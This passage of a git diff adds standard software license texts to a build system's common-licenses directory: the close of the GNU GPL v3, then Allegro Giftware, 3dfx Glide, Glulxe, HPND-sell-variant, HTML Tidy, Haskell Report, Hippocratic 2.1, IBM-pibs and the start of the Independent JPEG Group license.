+license (a) in connection with copies of the covered work conveyed by you
+(or copies made from those copies), or (b) primarily for and in connection
+with specific products or compilations that contain the covered work, unless
+you entered into that arrangement, or that patent license was granted, prior
+to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied
+license or other defenses to infringement that may otherwise be available
+to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+If conditions are imposed on you (whether by court order, agreement or otherwise)
+that contradict the conditions of this License, they do not excuse you from
+the conditions of this License. If you cannot convey a covered work so as
+to satisfy simultaneously your obligations under this License and any other
+pertinent obligations, then as a consequence you may not convey it at all.
+For example, if you agree to terms that obligate you to collect a royalty
+for further conveying from those to whom you convey the Program, the only
+way you could satisfy both those terms and this License would be to refrain
+entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+Notwithstanding any other provision of this License, you have permission to
+link or combine any covered work with a work licensed under version 3 of the
+GNU Affero General Public License into a single combined work, and to convey
+the resulting work. The terms of this License will continue to apply to the
+part which is the covered work, but the special requirements of the GNU Affero
+General Public License, section 13, concerning interaction through a network
+will apply to the combination as such.
+
+ 14. Revised Versions of this License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+that a certain numbered version of the GNU General Public License "or any
+later version" applies to it, you have the option of following the terms and
+conditions either of that numbered version or of any later version published
+by the Free Software Foundation. If the Program does not specify a version
+number of the GNU General Public License, you may choose any version ever
+published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of
+the GNU General Public License can be used, that proxy's public statement
+of acceptance of a version permanently authorizes you to choose that version
+for the Program.
+
+Later license versions may give you additional or different permissions. However,
+no additional obligations are imposed on any author or copyright holder as
+a result of your choosing to follow a later version.
+
+ 15. Disclaimer of Warranty.
+
+THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE
+LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
+EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM
+PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
+CORRECTION.
+
+ 16. Limitation of Liability.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
+ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM
+AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
+INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO
+USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED
+INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE
+PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
+PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+If the disclaimer of warranty and limitation of liability provided above cannot
+be given local legal effect according to their terms, reviewing courts shall
+apply local law that most closely approximates an absolute waiver of all civil
+liability in connection with the Program, unless a warranty or assumption
+of liability accompanies a copy of the Program in return for a fee. END OF
+TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively state the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) <year> <name of author>
+
+This program is free software: you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation, either version 3 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program. If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like
+this when it starts in an interactive mode:
+
+<program> Copyright (C) <year> <name of author>
+
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+
+This is free software, and you are welcome to redistribute it under certain
+conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands might
+be different; for a GUI interface, you would use an "about box".
+
+You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. For
+more information on this, and how to apply and follow the GNU GPL, see <https://www.gnu.org/licenses/>.
+
+The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Lesser General Public
+License instead of this License. But first, please read <https://www.gnu.org/
+licenses /why-not-lgpl.html>.
diff --git a/meta/files/common-licenses/Giftware b/meta/files/common-licenses/Giftware
new file mode 100644
index 0000000000..c22c5a6fb9
--- /dev/null
+++ b/meta/files/common-licenses/Giftware
@@ -0,0 +1,9 @@
+Allegro 4 (the giftware license)
+
+Allegro is gift-ware. It was created by a number of people working in cooperation, and is given to you freely as a gift. You may use, modify, redistribute, and generally hack it about in any way you like, and you do not have to give us anything in return.
+
+However, if you like this product you are encouraged to thank us by making a return gift to the Allegro community. This could be by writing an add-on package, providing a useful bug report, making an improvement to the library, or perhaps just releasing the sources of your program so that other people can learn from them. If you redistribute parts of this code or make a game using it, it would be nice if you mentioned Allegro somewhere in the credits, but you are not required to do this. We trust you not to abuse our generosity.
+
+By Shawn Hargreaves, 18 October 1998.
+
+DISCLAIMER: THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Glide b/meta/files/common-licenses/Glide
new file mode 100644
index 0000000000..23eae7c417
--- /dev/null
+++ b/meta/files/common-licenses/Glide
@@ -0,0 +1,95 @@
+3DFX GLIDE Source Code General Public License
+
+1. PREAMBLE
+
+This license is for software that provides a 3D graphics application program interface (API).The license is intended to offer terms similar to some standard General Public Licenses designed to foster open standards and unrestricted accessibility to source code. Some of these licenses require that, as a condition of the license of the software, any derivative works (that is, new software which is a work containing the original program or a portion of it) must be available for general use, without restriction other than for a minor transfer fee, and that the source code for such derivative works must likewise be made available. The only restriction is that such derivative works must be subject to the same General Public License terms as the original work.
+
+This 3dfx GLIDE Source Code General Public License differs from the standard licenses of this type in that it does not require the entire derivative work to be made available under the terms of this license nor is the recipient required to make available the source code for the entire derivative work. Rather, the license is limited to only the identifiable portion of the derivative work that is derived from the licensed software. The precise terms and conditions for copying, distribution and modification follow.
+
+2. DEFINITIONS
+
+ 2.1 This License applies to any program (or other "work") which contains a notice placed by the copyright holder saying it may be distributed under the terms of this 3dfx GLIDE Source Code General Public License.
+
+ 2.2 The term "Program" as used in this Agreement refers to 3DFX's GLIDE source code and object code and any Derivative Work.
+
+ 2.3 "Derivative Work" means, for the purpose of the License, that portion of any work that contains the Program or the identifiable portion of a work that is derived from the Program, either verbatim or with modifications and/or translated into another language, and that performs 3D graphics API operations. It does not include any other portions of a work.
+
+ 2.4 "Modifications of the Program" means any work, which includes a Derivative Work, and includes the whole of such work.
+
+ 2.5 "License" means this 3dfx GLIDE Source Code General Public License.
+
+ 2.6 The "Source Code" for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, any associated interface definition files, and the scripts used to control compilation and installation of the executable work.
+
+ 2.7 "3dfx" means 3dfx Interactive, Inc.
+
+3. LICENSED ACTIVITIES
+
+ 3.1 COPYING - You may copy and distribute verbatim copies of the Program's Source Code as you receive it, in any medium, subject to the provision of section 3.3 and provided also that:
+
+ (a) you conspicuously and appropriately publish on each copy an appropriate copyright notice (3dfx Interactive, Inc. 1999), a notice that recipients who wish to copy, distribute or modify the Program can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and
+
+ (c) do not make any use of the GLIDE trademark without the prior written permission of 3dfx, and
+
+ (d) give all recipients of the Program a copy of this License along with the Program or instructions on how to easily receive a copy of this License.
+
+ 3.2 MODIFICATION OF THE PROGRAM/DERIVATIVE WORKS - You may modify your copy or copies of the Program or any portion of it, and copy and distribute such modifications subject to the provisions of section 3.3 and provided that you also meet all of the following conditions:
+
+ (a) you conspicuously and appropriately publish on each copy of a Derivative Work an appropriate copyright notice, a notice that recipients who wish to copy, distribute or modify the Derivative Work can only do so subject to this License, and a disclaimer of warranty as set forth in section 5;
+
+ (b) keep intact all the notices that refer to this License and to the absence of any warranty; and (c) give all recipients of the Derivative Work a copy of this License along with the Derivative Work or instructions on how to easily receive a copy of this License.
+
+ (d) You must cause the modified files of the Derivative Work to carry prominent notices stating that you changed the files and the date of any change.
+
+ (e) You must cause any Derivative Work that you distribute or publish to be licensed at no charge to all third parties under the terms of this License.
+
+ (f) You do not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) If the Derivative Work normally reads commands interactively when run, you must cause it, when started running for such interactive use, to print or display an announcement as follows:
+
+ "COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED THIS SOFTWARE IS FREE AND PROVIDED "AS IS," WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE DISTRIBUTION AND NON-WARRANTY PROVISIONS (REQUEST COPY FROM INFO@3DFX.COM)."
+
+ (h) The requirements of this section 3.2 do not apply to the modified work as a whole but only to the Derivative Work. It is not the intent of this License to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of Derivative Works.
+
+ 3.3 DISTRIBUTION
+
+ (a) All copies of the Program or Derivative Works which are distributed must include in the file headers the following language verbatim:
+
+ "THIS SOFTWARE IS SUBJECT TO COPYRIGHT PROTECTION AND IS OFFERED ONLY PURSUANT TO THE 3DFX GLIDE GENERAL PUBLIC LICENSE. THERE IS NO RIGHT TO USE THE GLIDE TRADEMARK WITHOUT PRIOR WRITTEN PERMISSION OF 3DFX INTERACTIVE, INC. A COPY OF THIS LICENSE MAY BE OBTAINED FROM THE DISTRIBUTOR OR BY CONTACTING 3DFX INTERACTIVE INC (info@3dfx.com). THIS PROGRAM. IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED. SEE THE 3DFX GLIDE GENERAL PUBLIC LICENSE FOR A FULL TEXT OF THE NON-WARRANTY PROVISIONS.
+
+ USE, DUPLICATION OR DISCLOSURE BY THE GOVERNMENT IS SUBJECT TO RESTRICTIONS AS SET FORTH IN SUBDIVISION (C)(1)(II) OF THE RIGHTS IN TECHNICAL DATA AND COMPUTER SOFTWARE CLAUSE AT DFARS 252.227-7013, AND/OR IN SIMILAR OR SUCCESSOR CLAUSES IN THE FAR, DOD OR NASA FAR SUPPLEMENT. UNPUBLISHED RIGHTS RESERVED UNDER THE COPYRIGHT LAWS OF THE UNITED STATES.
+
+ COPYRIGHT 3DFX INTERACTIVE, INC. 1999, ALL RIGHTS RESERVED"
+
+ (b) You may distribute the Program or a Derivative Work in object code or executable form under the terms of Sections 3.1 and 3.2 provided that you also do one of the following:
+
+ (1) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 3.1 and 3.2; or,
+
+ (2) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 3.1 and 3.2 on a medium customarily used for software interchange; or,
+
+ (3) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection 3.3(b)(2) above.)
+
+ (c) The source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable code.
+
+ (d) If distribution of executable code or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+ (e) Each time you redistribute the Program or any Derivative Work, the recipient automatically receives a license from 3dfx and successor licensors to copy, distribute or modify the Program and Derivative Works subject to the terms and conditions of the License. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+ (f) You may not make any use of the GLIDE trademark without the prior written permission of 3dfx.
+
+ (g) You may not copy, modify, sublicense, or distribute the Program or any Derivative Works except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program or any Derivative Works is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. MISCELLANEOUS
+
+ 4.1 Acceptance of this License is voluntary. By using, modifying or distributing the Program or any Derivative Work, you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. Nothing else grants you permission to modify or distribute the Program or Derivative Works and doing so without acceptance of this License is in violation of the U.S. and international copyright laws.
+
+ 4.2 If the distribution and/or use of the Program or Derivative Works is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+ 4.3 This License is to be construed according to the laws of the State of California and you consent to personal jurisdiction in the State of California in the event it is necessary to enforce the provisions of this License.
+
+5. NO WARRANTIES
+
+ 5.1 TO THE EXTENT PERMITTED BY APPLICABLE LAW, THERE IS NO WARRANTY FOR THE PROGRAM. OR DERIVATIVE WORKS THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM AND ANY DERIVATIVE WORKS"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM AND ANY DERIVATIVE WORK IS WITH YOU. SHOULD THE PROGRAM OR ANY DERIVATIVE WORK PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 5.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL 3DFX INTERACTIVE, INC., OR ANY OTHER COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM OR DERIVATIVE WORKS AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM OR DERIVATIVE WORKS (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM OR DERIVATIVE WORKS TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/Glulxe b/meta/files/common-licenses/Glulxe
new file mode 100644
index 0000000000..8bbb720e65
--- /dev/null
+++ b/meta/files/common-licenses/Glulxe
@@ -0,0 +1,3 @@
+The source code in this package is copyright 1999-2010 by Andrew Plotkin.
+
+You may copy and distribute it freely, by any means and under any conditions, as long as the code and documentation is not changed. You may also incorporate this code into your own program and distribute that, or modify this code and use and distribute the modified version, as long as you retain a notice in your program or documentation which mentions my name and the URL shown above.
diff --git a/meta/files/common-licenses/HPND-sell-variant b/meta/files/common-licenses/HPND-sell-variant
new file mode 100644
index 0000000000..cac53b2373
--- /dev/null
+++ b/meta/files/common-licenses/HPND-sell-variant
@@ -0,0 +1,19 @@
+Copyright 1993 by OpenVision Technologies, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software
+and its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appears in all copies and
+that both that copyright notice and this permission notice appear in
+supporting documentation, and that the name of OpenVision not be used
+in advertising or publicity pertaining to distribution of the software
+without specific, written prior permission. OpenVision makes no
+representations about the suitability of this software for any
+purpose. It is provided "as is" without express or implied warranty.
+
+OPENVISION DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
+INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
+EVENT SHALL OPENVISION BE LIABLE FOR ANY SPECIAL, INDIRECT OR
+CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
+USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/HTMLTIDY b/meta/files/common-licenses/HTMLTIDY
new file mode 100644
index 0000000000..098dee8c05
--- /dev/null
+++ b/meta/files/common-licenses/HTMLTIDY
@@ -0,0 +1,13 @@
+HTML Tidy License
+
+This software and documentation is provided "as is," and the copyright holders and contributing author(s) make no representations or warranties, express or implied, including but not limited to, warranties of merchantability or fitness for any particular purpose or that the use of the software or documentation will not infringe any third party patents, copyrights, trademarks or other rights.
+
+The copyright holders and contributing author(s) will not be held liable for any direct, indirect, special or consequential damages arising out of any use of the software or documentation, even if advised of the possibility of such damage.
+
+Permission is hereby granted to use, copy, modify, and distribute this source code, or portions hereof, documentation and executables, for any purpose, without fee, subject to the following restrictions:
+
+ 1. The origin of this source code must not be misrepresented.
+ 2. Altered versions must be plainly marked as such and must not be misrepresented as being the original source.
+ 3. This Copyright notice may not be removed or altered from any source or altered source distribution.
+
+The copyright holders and contributing author(s) specifically permit, without fee, and encourage the use of this source code as a component for supporting the Hypertext Markup Language in commercial products. If you use this source code in a product, acknowledgement is not required but would be appreciated.
diff --git a/meta/files/common-licenses/HaskellReport b/meta/files/common-licenses/HaskellReport
new file mode 100644
index 0000000000..563b7056c1
--- /dev/null
+++ b/meta/files/common-licenses/HaskellReport
@@ -0,0 +1,6 @@
+Code derived from the document "Report on the Programming Language
+Haskell 2010", is distributed under the following license:
+
+Copyright (c) 2010 Simon Marlow
+
+The authors intend this Report to belong to the entire Haskell community, and so we grant permission to copy and distribute it for any purpose, provided that it is reproduced in its entirety, including this Notice. Modified versions of this Report may also be copied and distributed for any purpose, provided that the modified version is clearly presented as such, and that it does not claim to be a definition of the Haskell 2010 Language.
diff --git a/meta/files/common-licenses/Hippocratic-2.1 b/meta/files/common-licenses/Hippocratic-2.1
new file mode 100644
index 0000000000..0395b52ddf
--- /dev/null
+++ b/meta/files/common-licenses/Hippocratic-2.1
@@ -0,0 +1,33 @@
+[SOFTWARE NAME] Copyright (YEAR) (COPYRIGHT HOLDER(S)/AUTHOR(S))(“Licensor”)
+
+Hippocratic License Version Number: 2.1.
+
+Purpose. The purpose of this License is for the Licensor named above to permit the Licensee (as defined below) broad permission, if consistent with Human Rights Laws and Human Rights Principles (as each is defined below), to use and work with the Software (as defined below) within the full scope of Licensor’s copyright and patent rights, if any, in the Software, while ensuring attribution and protecting the Licensor from liability.
+
+Permission and Conditions. The Licensor grants permission by this license (“License”), free of charge, to the extent of Licensor’s rights under applicable copyright and patent law, to any person or entity (the “Licensee”) obtaining a copy of this software and associated documentation files (the “Software”), to do everything with the Software that would otherwise infringe (i) the Licensor’s copyright in the Software or (ii) any patent claims to the Software that the Licensor can license or becomes able to license, subject to all of the following terms and conditions:
+
+* Acceptance. This License is automatically offered to every person and entity subject to its terms and conditions. Licensee accepts this License and agrees to its terms and conditions by taking any action with the Software that, absent this License, would infringe any intellectual property right held by Licensor.
+
+* Notice. Licensee must ensure that everyone who gets a copy of any part of this Software from Licensee, with or without changes, also receives the License and the above copyright notice (and if included by the Licensor, patent, trademark and attribution notice). Licensee must cause any modified versions of the Software to carry prominent notices stating that Licensee changed the Software. For clarity, although Licensee is free to create modifications of the Software and distribute only the modified portion created by Licensee with additional or different terms, the portion of the Software not modified must be distributed pursuant to this License. If anyone notifies Licensee in writing that Licensee has not complied with this Notice section, Licensee can keep this License by taking all practical steps to comply within 30 days after the notice. If Licensee does not do so, Licensee’s License (and all rights licensed hereunder) shall end immediately.
+
+* Compliance with Human Rights Principles and Human Rights Laws.
+
+ 1. Human Rights Principles.
+
+ (a) Licensee is advised to consult the articles of the United Nations Universal Declaration of Human Rights and the United Nations Global Compact that define recognized principles of international human rights (the “Human Rights Principles”). Licensee shall use the Software in a manner consistent with Human Rights Principles.
+
+ (b) Unless the Licensor and Licensee agree otherwise, any dispute, controversy, or claim arising out of or relating to (i) Section 1(a) regarding Human Rights Principles, including the breach of Section 1(a), termination of this License for breach of the Human Rights Principles, or invalidity of Section 1(a) or (ii) a determination of whether any Law is consistent or in conflict with Human Rights Principles pursuant to Section 2, below, shall be settled by arbitration in accordance with the Hague Rules on Business and Human Rights Arbitration (the “Rules”); provided, however, that Licensee may elect not to participate in such arbitration, in which event this License (and all rights licensed hereunder) shall end immediately. The number of arbitrators shall be one unless the Rules require otherwise.
+
+ Unless both the Licensor and Licensee agree to the contrary: (1) All documents and information concerning the arbitration shall be public and may be disclosed by any party; (2) The repository referred to under Article 43 of the Rules shall make available to the public in a timely manner all documents concerning the arbitration which are communicated to it, including all submissions of the parties, all evidence admitted into the record of the proceedings, all transcripts or other recordings of hearings and all orders, decisions and awards of the arbitral tribunal, subject only to the arbitral tribunal's powers to take such measures as may be necessary to safeguard the integrity of the arbitral process pursuant to Articles 18, 33, 41 and 42 of the Rules; and (3) Article 26(6) of the Rules shall not apply.
+
+ 2. Human Rights Laws. The Software shall not be used by any person or entity for any systems, activities, or other uses that violate any Human Rights Laws. “Human Rights Laws” means any applicable laws, regulations, or rules (collectively, “Laws”) that protect human, civil, labor, privacy, political, environmental, security, economic, due process, or similar rights; provided, however, that such Laws are consistent and not in conflict with Human Rights Principles (a dispute over the consistency or a conflict between Laws and Human Rights Principles shall be determined by arbitration as stated above). Where the Human Rights Laws of more than one jurisdiction are applicable or in conflict with respect to the use of the Software, the Human Rights Laws that are most protective of the individuals or groups harmed shall apply.
+
+ 3. Indemnity. Licensee shall hold harmless and indemnify Licensor (and any other contributor) against all losses, damages, liabilities, deficiencies, claims, actions, judgments, settlements, interest, awards, penalties, fines, costs, or expenses of whatever kind, including Licensor’s reasonable attorneys’ fees, arising out of or relating to Licensee’s use of the Software in violation of Human Rights Laws or Human Rights Principles.
+
+* Failure to Comply. Any failure of Licensee to act according to the terms and conditions of this License is both a breach of the License and an infringement of the intellectual property rights of the Licensor (subject to exceptions under Laws, e.g., fair use). In the event of a breach or infringement, the terms and conditions of this License may be enforced by Licensor under the Laws of any jurisdiction to which Licensee is subject. Licensee also agrees that the Licensor may enforce the terms and conditions of this License against Licensee through specific performance (or similar remedy under Laws) to the extent permitted by Laws. For clarity, except in the event of a breach of this License, infringement, or as otherwise stated in this License, Licensor may not terminate this License with Licensee.
+
+* Enforceability and Interpretation. If any term or provision of this License is determined to be invalid, illegal, or unenforceable by a court of competent jurisdiction, then such invalidity, illegality, or unenforceability shall not affect any other term or provision of this License or invalidate or render unenforceable such term or provision in any other jurisdiction; provided, however, subject to a court modification pursuant to the immediately following sentence, if any term or provision of this License pertaining to Human Rights Laws or Human Rights Principles is deemed invalid, illegal, or unenforceable against Licensee by a court of competent jurisdiction, all rights in the Software granted to Licensee shall be deemed null and void as between Licensor and Licensee. Upon a determination that any term or provision is invalid, illegal, or unenforceable, to the extent permitted by Laws, the court may modify this License to affect the original purpose that the Software be used in compliance with Human Rights Principles and Human Rights Laws as closely as possible. The language in this License shall be interpreted as to its fair meaning and not strictly for or against any party.
+
+* Disclaimer. TO THE FULL EXTENT ALLOWED BY LAW, THIS SOFTWARE COMES “AS IS,” WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED, AND LICENSOR AND ANY OTHER CONTRIBUTOR SHALL NOT BE LIABLE TO ANYONE FOR ANY DAMAGES OR OTHER LIABILITY ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR THIS LICENSE, UNDER ANY KIND OF LEGAL CLAIM.
+
+This Hippocratic License is an Ethical Source license (https://ethicalsource.dev) and is offered for use by licensors and licensees at their own risk, on an “AS IS” basis, and with no warranties express or implied, to the maximum extent permitted by Laws.
diff --git a/meta/files/common-licenses/IBM-pibs b/meta/files/common-licenses/IBM-pibs
new file mode 100644
index 0000000000..49454b8b1e
--- /dev/null
+++ b/meta/files/common-licenses/IBM-pibs
@@ -0,0 +1,8 @@
+This source code has been made available to you by IBM on an AS-IS basis. Anyone receiving this source is licensed under IBM copyrights to use it in any way he or she deems fit, including copying it, modifying it, compiling it, and redistributing it either with or without modifications. No license under IBM patents or patent applications is to be implied by the copyright license.
+
+Any user of this software should understand that IBM cannot provide technical support for this software and will not be responsible for any consequences resulting from the use of this software.
+
+Any person who transfers this source code or any derivative work must include the IBM copyright notice, this paragraph, and the preceding two paragraphs in the transferred software.
+
+COPYRIGHT   I B M   CORPORATION 2002
+LICENSED MATERIAL  -  PROGRAM PROPERTY OF I B M
diff --git a/meta/files/common-licenses/IJG b/meta/files/common-licenses/IJG
new file mode 100644
index 0000000000..761071caa4
--- /dev/null
+++ b/meta/files/common-licenses/IJG
@@ -0,0 +1,38 @@
+Independent JPEG Group License
+
+LEGAL ISSUES
+
+In plain English:
+
+1. We don't promise that this software works. (But if you find any bugs, please let us know!)
+2. You can use this software for whatever you want. You don't have to pay us.
+3. You may not pretend that you wrote this software. If you use it in a program, you must acknowledge somewhere in your documentation that you've used the IJG code.
+
+In legalese:
+
+The authors make NO WARRANTY or representation, either express or implied, with respect to this software, its quality, accuracy, merchantability, or fitness for a particular purpose. This software is provided "AS IS", and you, its user, assume the entire risk as to its quality and accuracy.
+
+This software is copyright (C) 1991-1998, Thomas G. Lane. All Rights Reserved except as specified below.
+
+Permission is hereby granted to use, copy, modify, and distribute this software (or portions thereof) for any purpose, without fee, subject to these conditions:
+
+ (1) If any part of the source code for this software is distributed, then this README file must be included, with this copyright and no-warranty notice unaltered; and any additions, deletions, or changes to the original files must be clearly indicated in accompanying documentation.
+ (2) If only executable code is distributed, then the accompanying documentation must state that "this software is based in part on the work of the Independent JPEG Group".
+ (3) Permission for use of this software is granted only if the user accepts full responsibility for any undesirable consequences; the authors accept NO LIABILITY for damages of any kind.
+
+These conditions apply to any software derived from or based on the IJG code, not just to the unmodified library. If you use our work, you ought to acknowledge us.
+
+Permission is NOT granted for the use of any IJG author's name or company name in advertising or publicity relating to this software or products derived from it. This software may be referred to only as "the Independent JPEG Group's software".
+
+We specifically permit and encourage the use of this software as the basis of commercial products, provided that all warranty or liability claims are assumed by the product vendor.
+
+ansi2knr.c is included in this distribution by permission of L. Peter Deutsch, sole proprietor of its copyright holder, Aladdin Enterprises of Menlo Park, CA. ansi2knr.c is NOT covered by the above copyright and conditions, but instead by the usual distribution terms of the Free Software Foundation; principally, that you must include source code if you redistribute it. (See the file ansi2knr.c for full details.) However, since ansi2knr.c is not needed as part of any program generated from the IJG code, this does not limit you more than the foregoing paragraphs do.
+
+The Unix configuration script "configure" was produced with GNU Autoconf. It is copyright by the Free Software Foundation but is freely distributable. The same holds for its supporting scripts (config.guess, config.sub, ltconfig, ltmain.sh). Another support script, install-sh, is copyright by M.I.T. but is also freely distributable.
+
+It appears that the arithmetic coding option of the JPEG spec is covered by patents owned by IBM, AT&T, and Mitsubishi. Hence arithmetic coding cannot legally be used without obtaining one or more licenses. For this reason, support for arithmetic coding has been removed from the free JPEG software. (Since arithmetic coding provides only a marginal gain over the unpatented Huffman mode, it is unlikely that very many implementations will support it.) So far as we are aware, there are no patent restrictions on the remaining code.
+
+The IJG distribution formerly included code to read and write GIF files. To avoid entanglement with the Unisys LZW patent, GIF reading support has been removed altogether, and the GIF writer has been simplified to produce "uncompressed GIFs". This technique does not use the LZW algorithm; the resulting GIF files are larger than usual, but are readable by all standard GIF decoders.
+
+We are required to state that
